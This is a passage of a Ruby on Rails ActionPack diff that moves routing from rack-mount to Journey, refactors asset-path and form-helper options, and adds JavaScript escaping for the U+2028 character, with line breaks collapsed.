@verbs.join '|' - end - - def segment_keys - @segment_keys ||= conditions[:path_info].names.compact.map { |key| key.to_sym } - end - - def to_s - @to_s ||= begin - "%-6s %-40s %s" % [(verb || :any).to_s.upcase, path, requirements.inspect] - end - end - - private - def valid_condition?(method) - segment_keys.include?(method) || set.valid_conditions.include?(method) - end - end - end -end diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb index 11228c597d..bc956ef216 100644 --- a/actionpack/lib/action_dispatch/routing/route_set.rb +++ b/actionpack/lib/action_dispatch/routing/route_set.rb @@ -1,4 +1,4 @@ -require 'rack/mount' +require 'journey' require 'forwardable' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/object/to_query' @@ -165,13 +165,14 @@ module ActionDispatch remove_possible_method :#{selector} def #{selector}(*args) options = args.extract_options! + result = #{options.inspect} if args.any? - options[:_positional_args] = args - options[:_positional_keys] = #{route.segment_keys.inspect} + result[:_positional_args] = args + result[:_positional_keys] = #{route.segment_keys.inspect} end - options ? #{options.inspect}.merge(options) : #{options.inspect} + result.merge(options) end protected :#{selector} END_EVAL @@ -205,29 +206,42 @@ module ActionDispatch end end - attr_accessor :set, :routes, :named_routes, :default_scope + attr_accessor :formatter, :set, :named_routes, :default_scope, :router attr_accessor :disable_clear_and_finalize, :resources_path_names attr_accessor :default_url_options, :request_class, :valid_conditions + alias :routes :set + def self.default_resources_path_names { :new => 'new', :edit => 'edit' } end def initialize(request_class = ActionDispatch::Request) - self.routes = [] self.named_routes = NamedRouteCollection.new self.resources_path_names = self.class.default_resources_path_names.dup self.default_url_options = {} self.request_class = request_class - self.valid_conditions = request_class.public_instance_methods.map { |m| m.to_sym } + @valid_conditions = {} + + request_class.public_instance_methods.each { |m| + @valid_conditions[m.to_sym] = true + } + @valid_conditions[:controller] = true + @valid_conditions[:action] = true + self.valid_conditions.delete(:id) - self.valid_conditions.push(:controller, :action) - @append = [] - @prepend = [] + @append = [] + @prepend = [] @disable_clear_and_finalize = false - clear! + @finalized = false + + @set = Journey::Routes.new + @router = Journey::Router.new(@set, { + :parameters_key => PARAMETERS_KEY, + :request_class => request_class}) + @formatter = Journey::Formatter.new @set end def draw(&block) @@ -263,17 +277,13 @@ module ActionDispatch return if @finalized @append.each { |blk| eval_block(blk) } @finalized = true - @set.freeze end def clear! @finalized = false - routes.clear named_routes.clear - @set = ::Rack::Mount::RouteSet.new( - :parameters_key => PARAMETERS_KEY, - :request_class => request_class - ) + set.clear + formatter.clear @prepend.each { |blk| eval_block(blk) } end @@ -341,26 +351,55 @@ module ActionDispatch def add_route(app, conditions = {}, requirements = {}, defaults = {}, name = nil, anchor = true) raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i) - route = Route.new(self, app, conditions, requirements, defaults, name, anchor) - @set.add_route(route.app, route.conditions, route.defaults, route.name) + + path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor) + conditions = build_conditions(conditions, valid_conditions, path.names.map { |x| x.to_sym }) + + route = @set.add_route(app, path, conditions, defaults, name) named_routes[name] = route if name - routes << route route end + def build_path(path, requirements, separators, anchor) + strexp = Journey::Router::Strexp.new( + path, + requirements, + SEPARATORS, + anchor) + + Journey::Path::Pattern.new(strexp) + end + private :build_path + + def build_conditions(current_conditions, req_predicates, path_values) + conditions = current_conditions.dup + + verbs = conditions[:request_method] || [] + + # Rack-Mount requires that :request_method be a regular expression. + # :request_method represents the HTTP verb that matches this route. + # + # Here we munge values before they get sent on to rack-mount. + unless verbs.empty? + conditions[:request_method] = %r[^#{verbs.join('|')}$] + end + conditions.delete_if { |k,v| !(req_predicates.include?(k) || path_values.include?(k)) } + + conditions + end + private :build_conditions + class Generator #:nodoc: - PARAMETERIZE = { - :parameterize => lambda do |name, value| - if name == :controller - value - elsif value.is_a?(Array) - value.map { |v| Rack::Mount::Utils.escape_uri(v.to_param) }.join('/') - else - return nil unless param = value.to_param - param.split('/').map { |v| Rack::Mount::Utils.escape_uri(v) }.join("/") - end + PARAMETERIZE = lambda do |name, value| + if name == :controller + value + elsif value.is_a?(Array) + value.map { |v| Journey::Router::Utils.escape_uri(v.to_param) }.join('/') + else + return nil unless param = value.to_param + param.split('/').map { |v| Journey::Router::Utils.escape_uri(v) }.join("/") end - } + end attr_reader :options, :recall, :set, :named_route @@ -450,14 +489,14 @@ module ActionDispatch end def generate - path, params = @set.set.generate(:path_info, named_route, options, recall, PARAMETERIZE) + path, params = @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE) raise_routing_error unless path return [path, params.keys] if @extras [path, params] - rescue Rack::Mount::RoutingError + rescue Journey::Router::RoutingError raise_routing_error end @@ -529,12 +568,12 @@ module ActionDispatch def call(env) finalize! - @set.call(env) + @router.call(env) end def recognize_path(path, environment = {}) method = (environment[:method] || "GET").to_s.upcase - path = Rack::Mount::Utils.normalize_path(path) unless path =~ %r{://} + path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://} begin env = Rack::MockRequest.env_for(path, {:method => method}) @@ -543,7 +582,7 @@ module ActionDispatch end req = @request_class.new(env) - @set.recognize(req) do |route, matches, params| + @router.recognize(req) do |route, matches, params| params.each do |key, value| if value.is_a?(String) value = value.dup.force_encoding(Encoding::BINARY) if value.encoding_aware? diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb index 480144fe9d..8fc8dc191b 100644 --- a/actionpack/lib/action_dispatch/routing/url_for.rb +++ b/actionpack/lib/action_dispatch/routing/url_for.rb @@ -116,9 +116,10 @@ module ActionDispatch # If <tt>:only_path</tt> is false, this option must be # provided either explicitly, or via +default_url_options+. # * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+ - # to split the domain from the host. - # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+ # to split the subdomain from the host. + # If false, removes all subdomains from the host part of the link. + # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+ + # to split the domain from the host. # * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if # <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to # <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1. @@ -131,16 +132,20 @@ module ActionDispatch # # Examples: # - # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080' # => 'http://somehost.org:8080/tasks/testing' - # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true # => '/tasks/testing#ok' - # url_for :controller => 'tasks', :action => 'testing', :trailing_slash => true # => 'http://somehost.org/tasks/testing/' - # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :number => '33' # => 'http://somehost.org/tasks/testing?number=33' + # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080' + # # => 'http://somehost.org:8080/tasks/testing' + # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true + # # => '/tasks/testing#ok' + # url_for :controller => 'tasks', :action => 'testing', :trailing_slash => true + # # => 'http://somehost.org/tasks/testing/' + # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :number => '33' + # # => 'http://somehost.org/tasks/testing?number=33' def url_for(options = nil) case options when String options when nil, Hash - _routes.url_for((options || {}).reverse_merge!(url_options).symbolize_keys) + _routes.url_for((options || {}).reverse_merge(url_options).symbolize_keys) else polymorphic_url(options) end diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb index a2d639cd56..7381617dd7 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/response.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb @@ -55,16 +55,14 @@ module ActionDispatch # assert_redirected_to @customer # def assert_redirected_to(options = {}, message=nil) - validate_request! - assert_response(:redirect, message) return true if options == @response.location - redirected_to_after_normalization = normalize_argument_to_redirection(@response.location) - options_after_normalization = normalize_argument_to_redirection(options) + redirect_is = normalize_argument_to_redirection(@response.location) + redirect_expected = normalize_argument_to_redirection(options) - if redirected_to_after_normalization != options_after_normalization - flunk "Expected response to be a redirect to <#{options_after_normalization}> but was a redirect to <#{redirected_to_after_normalization}>" + if redirect_is != redirect_expected + flunk "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>" end end diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb index 5fa91d1a76..b4555f4f59 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb @@ -415,9 +415,9 @@ module ActionDispatch assert !deliveries.empty?, "No e-mail in delivery list" for delivery in deliveries - for part in delivery.parts + for part in (delivery.parts.empty? ? [delivery] : delivery.parts) if part["Content-Type"].to_s =~ /^text\/html\W/ - root = HTML::Document.new(part.body).root + root = HTML::Document.new(part.body.to_s).root assert_select root, ":root", &block end end diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb index aae5752c93..0f1bb9f260 100644 --- a/actionpack/lib/action_dispatch/testing/integration.rb +++ b/actionpack/lib/action_dispatch/testing/integration.rb @@ -241,8 +241,8 @@ module ActionDispatch end # Performs the actual request. - def process(method, path, parameters = nil, env = nil) - env ||= {} + def process(method, path, parameters = nil, rack_env = nil) + rack_env ||= {} if path =~ %r{://} location = URI.parse(path) https! URI::HTTPS === location if location.scheme @@ -258,7 +258,7 @@ module ActionDispatch hostname, port = host.split(':') - default_env = { + env = { :method => method, :params => parameters, @@ -276,7 +276,7 @@ module ActionDispatch session = Rack::Test::Session.new(_mock_session) - env.reverse_merge!(default_env) + env.merge!(rack_env) # NOTE: rack-test v0.5 doesn't build a default uri correctly # Make sure requested path is always a full uri diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb index f668b81b45..b08ff41950 100644 --- a/actionpack/lib/action_dispatch/testing/test_process.rb +++ b/actionpack/lib/action_dispatch/testing/test_process.rb @@ -5,12 +5,7 @@ require 'active_support/core_ext/hash/indifferent_access' module ActionDispatch module TestProcess def assigns(key = nil) - assigns = {}.with_indifferent_access - @controller.instance_variable_names.each do |ivar| - next if ActionController::Base.protected_instance_variables.include?(ivar) - assigns[ivar[1..-1]] = @controller.instance_variable_get(ivar) - end - + assigns = @controller.view_assigns.with_indifferent_access key.nil? ? assigns : assigns[key] end diff --git a/actionpack/lib/action_view/asset_paths.rb b/actionpack/lib/action_view/asset_paths.rb index aae8377f8a..1d16e34df6 100644 --- a/actionpack/lib/action_view/asset_paths.rb +++ b/actionpack/lib/action_view/asset_paths.rb @@ -16,19 +16,17 @@ module ActionView # roots. Rewrite the asset path for cache-busting asset ids. Include # asset host, if configured, with the correct request protocol. # - # When include_host is true and the asset host does not specify the protocol - # the protocol parameter specifies how the protocol will be added. # When :relative (default), the protocol will be determined by the client using current protocol # When :request, the protocol will be the request protocol # Otherwise, the protocol is used (E.g. :http, :https, etc) - def compute_public_path(source, dir, ext = nil, include_host = true, protocol = nil) + def compute_public_path(source, dir, options = {}) source = source.to_s return source if is_uri?(source) - source = rewrite_extension(source, dir, ext) if ext - source = rewrite_asset_path(source, dir) - source = rewrite_relative_url_root(source, relative_url_root) if has_request? - source = rewrite_host_and_protocol(source, protocol) if include_host + source = rewrite_extension(source, dir, options[:ext]) if options[:ext] + source = rewrite_asset_path(source, dir, options) + source = rewrite_relative_url_root(source, relative_url_root) + source = rewrite_host_and_protocol(source, options[:protocol]) source end @@ -69,7 +67,7 @@ module ActionView host = "#{compute_protocol(protocol)}#{host}" end end - host.nil? ? source : "#{host}#{source}" + host ? "#{host}#{source}" : source end def compute_protocol(protocol) @@ -88,9 +86,7 @@ module ActionView end def default_protocol - protocol = @config.action_controller.default_asset_host_protocol if @config.action_controller.present? - protocol ||= @config.default_asset_host_protocol - protocol || (has_request? ? :request : :relative) + @config.default_asset_host_protocol || (has_request? ? :request : :relative) end def invalid_asset_host!(help_message) @@ -119,18 +115,11 @@ module ActionView end def relative_url_root - config = controller.config if controller.respond_to?(:config) - config ||= config.action_controller if config.action_controller.present? - config ||= config config.relative_url_root end def asset_host_config - if config.action_controller.present? - config.action_controller.asset_host - else - config.asset_host - end + config.asset_host end # Returns the current request if one exists. diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb index 36a0a20066..36c49d9c91 100644 --- a/actionpack/lib/action_view/base.rb +++ b/actionpack/lib/action_view/base.rb @@ -4,6 +4,7 @@ require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/array/wrap' require 'active_support/ordered_options' require 'action_view/log_subscriber' +require 'active_support/core_ext/module/deprecation' module ActionView #:nodoc: # = Action View Base @@ -115,7 +116,7 @@ module ActionView #:nodoc: # xml.language "en-us" # xml.ttl "40" # - # for item in @recent_items + # @recent_items.each do |item| # xml.item do # xml.title(item_title(item)) # xml.description(item_description(item)) if item_description(item) @@ -161,6 +162,7 @@ module ActionView #:nodoc: value.is_a?(PathSet) ? value.dup : ActionView::PathSet.new(Array.wrap(value)) end + deprecate :process_view_paths def xss_safe? #:nodoc: true diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb index 509c29844a..7d01e5ddb8 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb @@ -154,7 +154,7 @@ module ActionView # "/release-#{RELEASE_NUMBER}#{asset_path}" # } # - # This example would cause the following behaviour on all servers no + # This example would cause the following behavior on all servers no # matter when they were deployed: # # image_tag("rails.png") diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb index 3c05173a1b..05d5f1870a 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb @@ -60,8 +60,8 @@ module ActionView private - def path_to_asset(source, include_host = true, protocol = nil) - asset_paths.compute_public_path(source, asset_name.to_s.pluralize, extension, include_host, protocol) + def path_to_asset(source, options = {}) + asset_paths.compute_public_path(source, asset_name.to_s.pluralize, options.merge(:ext => extension)) end def path_to_asset_source(source) diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb index 8b35aa8896..dd4e9ae4cc 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb @@ -41,7 +41,7 @@ module ActionView # Break out the asset path rewrite in case plugins wish to put the asset id # someplace other than the query string. - def rewrite_asset_path(source, dir) + def rewrite_asset_path(source, dir, options = nil) source = "/#{dir}/#{source}" unless source[0] == ?/ path = config.asset_path diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb index 0f8a63901e..09700bd0c5 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb @@ -83,11 +83,7 @@ module ActionView # javascript_path "http://www.example.com/js/xmlhr" # => http://www.example.com/js/xmlhr # javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js def javascript_path(source) - if config.use_sprockets - asset_path(source, 'js') - else - asset_paths.compute_public_path(source, 'javascripts', 'js') - end + asset_paths.compute_public_path(source, 'javascripts', :ext => 'js') end alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb index 8c25d38bbd..343153c8c5 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb @@ -17,7 +17,7 @@ module ActionView def asset_tag(source, options) # We force the :request protocol here to avoid a double-download bug in IE7 and IE8 - tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => ERB::Util.html_escape(path_to_asset(source, true, :request)) }.merge(options), false, false) + tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => path_to_asset(source, :protocol => :request) }.merge(options)) end def custom_dir @@ -61,7 +61,7 @@ module ActionView # stylesheet_path "http://www.example.com/css/style" # => http://www.example.com/css/style # stylesheet_path "http://www.example.com/css/style.css" # => http://www.example.com/css/style.css def stylesheet_path(source) - asset_paths.compute_public_path(source, 'stylesheets', 'css', true, :request) + asset_paths.compute_public_path(source, 'stylesheets', :ext => 'css', :protocol => :request) end alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb index 62f95379cd..8abd85c3a3 100644 --- a/actionpack/lib/action_view/helpers/capture_helper.rb +++ b/actionpack/lib/action_view/helpers/capture_helper.rb @@ -134,9 +134,9 @@ module ActionView # WARNING: content_for is ignored in caches. So you shouldn't use it # for elements that will be fragment cached. def content_for(name, content = nil, &block) - content = capture(&block) if block_given? - if content - @view_flow.append(name, content) + if content || block_given? + content = capture(&block) if block_given? + @view_flow.append(name, content) if content nil else @view_flow.get(name) diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb index e850c258ce..4deb87180c 100644 --- a/actionpack/lib/action_view/helpers/date_helper.rb +++ b/actionpack/lib/action_view/helpers/date_helper.rb @@ -765,11 +765,16 @@ module ActionView if @options[:use_hidden] || @options[:discard_year] build_hidden(:year, val) else - options = {} - options[:start] = @options[:start_year] || middle_year - 5 - options[:end] = @options[:end_year] || middle_year + 5 - options[:step] = options[:start] < options[:end] ? 1 : -1 - options[:leading_zeros] = false + options = {} + options[:start] = @options[:start_year] || middle_year - 5 + options[:end] = @options[:end_year] || middle_year + 5 + options[:step] = options[:start] < options[:end] ? 1 : -1 + options[:leading_zeros] = false + options[:max_years_allowed] = @options[:max_years_allowed] || 1000 + + if (options[:end] - options[:start]).abs > options[:max_years_allowed] + raise ArgumentError, "There're too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter" + end build_options_and_select(:year, val, options) end diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb index 724fe7a518..f22c466666 100644 --- a/actionpack/lib/action_view/helpers/form_helper.rb +++ b/actionpack/lib/action_view/helpers/form_helper.rb @@ -259,8 +259,8 @@ module ActionView # :remote => true # # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its - # behaviour. The expected default behaviour is an XMLHttpRequest in the background instead of the regular - # POST arrangement, but ultimately the behaviour is the choice of the JavaScript driver implementor. + # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular + # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor. # Even though it's using JavaScript to serialize the form elements, the form submission will work just like # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>). # @@ -365,7 +365,7 @@ module ActionView apply_form_for_options!(record, options) end - options[:html][:remote] = options.delete(:remote) + options[:html][:remote] = options.delete(:remote) if options.has_key?(:remote) options[:html][:method] = options.delete(:method) if options.has_key?(:method) options[:html][:authenticity_token] = options.delete(:authenticity_token) @@ -1227,8 +1227,12 @@ module ActionView parent_builder.multipart = multipart if parent_builder end - def self.model_name - @model_name ||= Struct.new(:partial_path).new(name.demodulize.underscore.sub!(/_builder$/, '')) + def self._to_partial_path + @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '') + end + + def to_partial_path + self.class._to_partial_path end def to_model diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb index 7c43dc04e0..d636702111 100644 --- a/actionpack/lib/action_view/helpers/form_options_helper.rb +++ b/actionpack/lib/action_view/helpers/form_options_helper.rb @@ -323,12 +323,12 @@ module ActionView return container if String === container selected, disabled = extract_selected_and_disabled(selected).map do | r | - Array.wrap(r).map(&:to_s) + Array.wrap(r).map { |item| item.to_s } end container.map do |element| html_attributes = option_html_attributes(element) - text, value = option_text_and_value(element).map(&:to_s) + text, value = option_text_and_value(element).map { |item| item.to_s } selected_attribute = ' selected="selected"' if option_value_selected?(value, selected) disabled_attribute = ' disabled="disabled"' if disabled && option_value_selected?(value, disabled) %(<option value="#{ERB::Util.html_escape(value)}"#{selected_attribute}#{disabled_attribute}#{html_attributes}>#{ERB::Util.html_escape(text)}</option>) @@ -579,7 +579,7 @@ module ActionView def to_select_tag(choices, options, html_options) selected_value = options.has_key?(:selected) ? options[:selected] : value(object) - if !choices.empty? && choices.try(:first).try(:second).respond_to?(:each) + if !choices.empty? && Array === choices.first option_tags = grouped_options_for_select(choices, :selected => selected_value, :disabled => options[:disabled]) else option_tags = options_for_select(choices, :selected => selected_value, :disabled => options[:disabled]) diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb index 72bc4510b5..13b9dc8553 100644 --- a/actionpack/lib/action_view/helpers/form_tag_helper.rb +++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb @@ -30,7 +30,7 @@ module ActionView # (by passing <tt>false</tt>). # * A list of parameters to feed to the URL the form will be posted to. # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the - # submit behaviour. By default this behaviour is an ajax submit. + # submit behavior. By default this behavior is an ajax submit. # # ==== Examples # form_tag('/posts') @@ -56,8 +56,8 @@ module ActionView # form_tag('http://far.away.com/form', :authenticity_token => "cf50faa3fe97702ca1ae") # # form with custom authenticity token # - def form_tag(url_for_options = {}, options = {}, *parameters_for_url, &block) - html_options = html_options_for_form(url_for_options, options, *parameters_for_url) + def form_tag(url_for_options = {}, options = {}, &block) + html_options = html_options_for_form(url_for_options, options) if block_given? form_tag_in_block(html_options, &block) else @@ -177,9 +177,12 @@ module ActionView # label_tag 'name', nil, :class => 'small_label' # # => <label for="name" class="small_label">Name</label> def label_tag(name = nil, content_or_options = nil, options = nil, &block) - options = content_or_options if block_given? && content_or_options.is_a?(Hash) - options ||= {} - options.stringify_keys! + if block_given? && content_or_options.is_a?(Hash) + options = content_or_options = content_or_options.stringify_keys + else + options ||= {} + options = options.stringify_keys + end options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for") content_tag :label, content_or_options || name.to_s.humanize, options, &block end @@ -304,7 +307,7 @@ module ActionView # text_area_tag 'comment', nil, :class => 'comment_input' # # => <textarea class="comment_input" id="comment" name="comment"></textarea> def text_area_tag(name, content = nil, options = {}) - options.stringify_keys! + options = options.stringify_keys if size = options.delete("size") options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split) @@ -407,7 +410,7 @@ module ActionView # data-confirm="Are you sure?" /> # def submit_tag(value = "Save changes", options = {}) - options.stringify_keys! + options = options.stringify_keys if disable_with = options.delete("disable_with") options["data-disable-with"] = disable_with @@ -417,7 +420,7 @@ module ActionView options["data-confirm"] = confirm end - tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys) + tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options) end # Creates a button element that defines a <tt>submit</tt> button, @@ -458,7 +461,7 @@ module ActionView def button_tag(content_or_options = nil, options = nil, &block) options = content_or_options if block_given? && content_or_options.is_a?(Hash) options ||= {} - options.stringify_keys! + options = options.stringify_keys if disable_with = options.delete("disable_with") options["data-disable-with"] = disable_with @@ -497,13 +500,13 @@ module ActionView # image_submit_tag("agree.png", :disabled => true, :class => "agree_disagree_button") # # => <input class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" /> def image_submit_tag(source, options = {}) - options.stringify_keys! + options = options.stringify_keys if confirm = options.delete("confirm") options["data-confirm"] = confirm end - tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options.stringify_keys) + tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options) end # Creates a field set for grouping HTML form elements. @@ -604,12 +607,12 @@ module ActionView end private - def html_options_for_form(url_for_options, options, *parameters_for_url) + def html_options_for_form(url_for_options, options) options.stringify_keys.tap do |html_options| html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart") # The following URL is unescaped, this is just a hash of options, and it is the # responsibility of the caller to escape all the values. - html_options["action"] = url_for(url_for_options, *parameters_for_url) + html_options["action"] = url_for(url_for_options) html_options["accept-charset"] = "UTF-8" html_options["data-remote"] = true if html_options.delete("remote") html_options["authenticity_token"] = html_options.delete("authenticity_token") if html_options.has_key?("authenticity_token") @@ -653,7 +656,7 @@ module ActionView if token == false || !protect_against_forgery? '' else - token = form_authenticity_token if token.nil? + token ||= form_authenticity_token tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => token) end end diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb index 4484390fde..1adcd716f8 100644 --- a/actionpack/lib/action_view/helpers/javascript_helper.rb +++ b/actionpack/lib/action_view/helpers/javascript_helper.rb @@ -1,4 +1,5 @@ require 'action_view/helpers/tag_helper' +require 'active_support/core_ext/string/encoding' module ActionView module Helpers @@ -10,15 +11,23 @@ module ActionView "\n" => '\n', "\r" => '\n', '"' => '\\"', - "'" => "\\'" } + "'" => "\\'" + } - # Escape carrier returns and single and double quotes for JavaScript segments. + if "ruby".encoding_aware? + JS_ESCAPE_MAP["\342\200\250".force_encoding('UTF-8').encode!] = '
' + else + JS_ESCAPE_MAP["\342\200\250"] = '
' + end + + # Escapes carriage returns and single and double quotes for JavaScript segments. + # # Also available through the alias j(). This is particularly helpful in JavaScript responses, like: # # $('some_element').replaceWith('<%=j render 'some/element_template' %>'); def escape_javascript(javascript) if javascript - result = javascript.gsub(/(\\|<\/|\r\n|[\n\r"'])/) {|match| JS_ESCAPE_MAP[match] } + result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] } javascript.html_safe? ? result.html_safe : result else '' diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb index 142a25f118..b351302d01 100644 --- a/actionpack/lib/action_view/helpers/record_tag_helper.rb +++ b/actionpack/lib/action_view/helpers/record_tag_helper.rb @@ -17,6 +17,19 @@ module ActionView # # <div id="person_123" class="person foo"> Joe Bloggs </div> # + # You can also pass an array of Active Record objects, which will then + # get iterated over and yield each record as an argument for the block. + # For example: + # + # <%= div_for(@people, :class => "foo") do |person| %> + # <%= person.name %> + # <% end %> + # + # produces: + # + # <div id="person_123" class="person foo"> Joe Bloggs </div> + # <div id="person_124" class="person foo"> Jane Bloggs </div> + # def div_for(record, *args, &block) content_tag_for(:div, record, *args, &block) end @@ -42,6 +55,21 @@ module ActionView # # <tr id="foo_person_123" class="person">... # + # You can also pass an array of objects which this method will loop through + # and yield the current object to the supplied block, reducing the need for + # having to iterate through the object (using <tt>each</tt>) beforehand. + # For example (assuming @people is an array of Person objects): + # + # <%= content_tag_for(:tr, @people) do |person| %> + # <td><%= person.first_name %></td> + # <td><%= person.last_name %></td> + # <% end %> + # + # produces: + # + # <tr id="person_123" class="person">...</tr> + # <tr id="person_124" class="person">...</tr> + # # content_tag_for also accepts a hash of options, which will be converted to # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined # with the default class name for your object. For example: @@ -52,12 +80,30 @@ module ActionView # # <li id="person_123" class="person bar">... # - def content_tag_for(tag_name, record, prefix = nil, options = nil, &block) - options, prefix = prefix, nil if prefix.is_a?(Hash) - options ||= {} - options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) }) - content_tag(tag_name, options, &block) + def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block) + if single_or_multiple_records.respond_to?(:to_ary) + single_or_multiple_records.to_ary.map do |single_record| + capture { content_tag_for_single_record(tag_name, single_record, prefix, options, &block) } + end.join("\n").html_safe + else + content_tag_for_single_record(tag_name, single_or_multiple_records, prefix, options, &block) + end end + + private + + # Called by <tt>content_tag_for</tt> internally to render a content tag + # for each record. + def content_tag_for_single_record(tag_name, record, prefix, options, &block) + options, prefix = prefix, nil if prefix.is_a?(Hash) + options ||= {} + options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) }) + if block.arity == 0 + content_tag(tag_name, capture(&block), options) + else + content_tag(tag_name, capture(record, &block), options) + end + end end end end diff --git a/actionpack/lib/action_view/helpers/rendering_helper.rb b/actionpack/lib/action_view/helpers/rendering_helper.rb index 47efdded42..626e1a1ab7 100644 --- a/actionpack/lib/action_view/helpers/rendering_helper.rb +++ b/actionpack/lib/action_view/helpers/rendering_helper.rb @@ -8,7 +8,7 @@ module ActionView module RenderingHelper # Returns the result of a render that's dictated by the options hash. The primary options are: # - # * <tt>:partial</tt> - See ActionView::Partials. + # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>. # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those. # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller. # * <tt>:text</tt> - Renders the text passed in out. @@ -87,4 +87,4 @@ module 